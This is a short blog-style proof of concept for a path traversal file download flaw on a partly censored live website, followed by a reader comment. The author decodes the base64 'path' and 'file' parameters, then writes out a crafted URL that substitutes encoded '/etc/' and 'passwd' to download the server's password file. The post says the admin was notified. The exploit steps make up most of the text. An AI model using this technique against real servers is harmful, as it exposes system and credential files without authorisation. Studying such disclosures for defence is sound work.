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While browsing i found this cool remote file download vulnerability. :)
http://www.censored.or.id/index.php?m=default&s=download&path=c3lzdGVtL21vZHVsZXMvYmVyaXRhL2ZpbGVzL2Rvd25sb2FkLw==&file=cHJlc2VudGF0aW9uX2ZpbmFsLnBwdA==&hs=true
If i open link above, it will download a file for me. Now see the path and file parameter. It's base64 encrypt.
path=c3lzdGVtL21vZHVsZXMvYmVyaXRhL2ZpbGVzL2Rvd25sb2FkLw==
file=cHJlc2VudGF0aW9uX2ZpbmFsLnBwdA==
Decrypt both value and i got this.
path=system/modules/berita/files/download/
file=presentation_final.ppt
Now i know the path and the file name. What if i change it? Let see.
path=L2V0Yy8=
file=cGFzc3dk
I changed the path value with /etc/ and file value with passwd. Encrypt it to base64 first.
http://www.censored.or.id/index.php?m=default&s=download&path=L2V0Yy8=&file=cGFzc3dk&hs=true
This modified link will download passwd file from the system.
Thats it.. :)
*some link and value in this PoC has been cencored/changed coz this is a live website.
*admin is notified by email
Comments
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i want to ask you question: is it possible to use that to drupal?
Adamjee Textile Mills Pvt Ltd
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